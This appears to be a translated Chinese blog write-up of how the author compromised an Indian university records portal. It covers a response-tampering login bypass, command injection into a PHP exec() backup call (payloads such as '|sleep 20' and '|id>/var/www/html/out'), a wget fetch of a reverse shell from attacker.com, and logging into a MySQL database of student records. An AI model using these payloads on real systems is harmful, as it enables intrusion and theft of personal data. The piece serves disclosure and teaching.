实战 | 国外攻破大学数据库系统,暴露数千学生记录
引言
在这篇文章中,我将分享我是如何攻破一个大型大学解决方案门户服务器的,这个服务器服务于许多大学客户,并且涉及数千名学生的数据。
目标
这是一个由印度许多大学和学院使用的门户网站,用于管理学生记录、成绩单、出勤记录、答题册等。这个网站只有学生和教师能够登录,注册时需要有效的学院注册号。
这个服务器还配有一个使用相同后端的移动应用程序。
信息收集
像往常一样,我首先进行信息收集,利用Subfinder、Assetfinder、amass、crt.sh和ffuf等工具,尝试找到目标的几乎每一个子域名和二级子域名。我将目标的域名存储在一个名为“scope”的文件中,然后运行了这些工具。但我未能找到该域名的任何有趣的子域名。
该门户本身是一个子域,例如 studentportal.example.com。所以我进入了下一阶段的信息收集,即目录扫描。我最喜欢的目录扫描工具是 FFUF[1],这是一个快速、可靠的扫描工具。所以我运行了这个命令:
ffuf -w /usr/share/wordlists/dirb/big.txt -recursion -u https://studentportal.example.com/ -mc 200,301,302
我让扫描器运行了一分钟左右。
我发现了一个有趣的目录叫做 /bkp。
于是我立即停止了扫描,快速访问了 /bkp 端点,发现了一个页面。那是一个备份门户的登录页面。我心想……找到我的第一个突破口了!
我开始尝试各种可能的默认凭据组合,但没有一个能成功。现在开始进行攻击链……
部分认证绕过
你可能会想,所谓“部分”认证绕过是什么意思,我将先展示我是如何进行认证绕过的,然后再解释。
我启动了 BurpSuite 进行拦截,并用随机凭据发送 POST 请求。现在我可以看到一个请求被发送,其中包含我输入的数据。
真正的专业人士可以立即发现这里的漏洞!!
在响应中,我们可以看到它返回了“failure”,这意味着登录验证在客户端验证中起着重要作用。这可能存在响应操控攻击的可能性。
因此,我检查了客户端代码,发现如果登录成功,服务器会返回待备份的数据,并将用户重定向到一个面板,在那里显示从登录返回的数据库名称。由于我不知道服务器上有哪些备份,我尝试将“failure”编辑为“success”。请求返回了 200,并直接发送了请求到 /bkp/connect.php(connect.php 用于登录后端的 MYSQL 数据库)。
然后,我发现我已经成功登录到了面板!!
但这只是部分成功,意味着显示的数据库名称是‘s’,‘u’,‘c’,‘c’,‘e’,‘s’,‘s’,因为它将每个字母视为数据库名称。
我无法查看可以备份的数据库名称,但如果我知道数据库的名称,我可以使用备份功能。
远程代码执行
在面板中,我看到一个名为“Backup”的按钮。该按钮的功能是将选定的备份数据下载为一个 zip 文件。点击备份按钮后,它会发送一个 POST 请求到 /bkp/backup1.php,并在一个名为“sendarr”的参数中发送备份数据库名称。
我尝试对 sendarr 参数进行模糊测试,持续了大约 10 到 20 分钟,最终发现了一个重要线索。
当我将 sendarr 的值设置为 %00(空字节)时,服务器崩溃,并返回了一个有趣的错误响应。
后端在处理备份时使用了 exec() 函数。
在 PHP 中,exec() 命令用于从 PHP 文件运行系统命令。
看到这个响应我非常兴奋,因为它表明服务器在这个过程中使用了 exec()。所以我立即注入了一个会延迟 20 秒并返回响应的有效载荷。
sendarr=|sleep 20
在 Bash/Linux 终端中,|(管道)符号用于将一个命令的响应重定向到另一个命令,基本上是将多个命令串联起来。
因此,当前命令在后端的样子将是:
./backup.sh | sleep 20
因此,在运行 backup.sh 之后,它会执行 sleep 命令。
我发送请求,结果是服务器响应用了 20.6 秒。这让我确认了这是一个远程代码执行(RCE)漏洞。
目前它是盲注的,我需要得到可见的证据才能继续进行。所以我运行了一个命令,并将输出重定向到 /var/www/html/out。
网站的主目录是 /var/www/html,因此如果我在主目录中放置一个包含我运行命令输出的文件,我就可以通过访问 /out 来查看输出。所以我注入了这个有效负载:
sendarr=|id>/var/www/html/out
这个有效负载会在服务器上执行 id 命令,并将输出重定向到 out 文件中。
然后我访问了 /out,结果是,太棒了!!!
现在我获得了代码执行权限,编写了一个简单的 Python 脚本与服务器进行交互,就像一个 shell 一样。
获得访问权限
为了进入服务器,我使用了 PentestMonkey 提供的反向 shell。
我在我的攻击者机器上托管了反向 shell 文件,并使用以下有效负载将其下载到目标服务器:
sendarr=|wget https://attacker.com/rev.php
此命令将反向 shell 下载到网站的主目录。
然后,我在 netcat 上启动了监听,并访问了 /rev.php。
结果,我获得了 shell!
我发现了服务器内部的所有程序文件,涉及学生数据管理、成绩单生成、将学生成绩添加到数据库的程序、插入出勤数据的程序、支付处理等功能。
在浏览文件的过程中,我找到了我想要的……一个名为 consts.php 的文件,其中包含了用于登录数据库的 MySQL 凭据。
我再也不想等待,迅速尝试使用以下命令登录 MySQL:
mysql -h servername.rds.amazonaws.com -u username -p
然后,砰的一声!我成功进入了数据库!!!
我发现了许多不同大学和学院的数据库。
在列表中找到了我的大学,尝试查找我的出勤、入学和成绩数据,并且我成功找到了这些信息!
以下是我找到的数据截图:
我将这一情况报告给了我的学院院长,他将其转发给了该服务提供商的IT团队,修复漏洞几乎花了两周的时间。
该数据库几乎包含了全国100,000多名大学生的数据。
结论
最终,我成功完成了攻破服务器的任务。整个利用链的执行和数据库的访问花费了我3天的时间。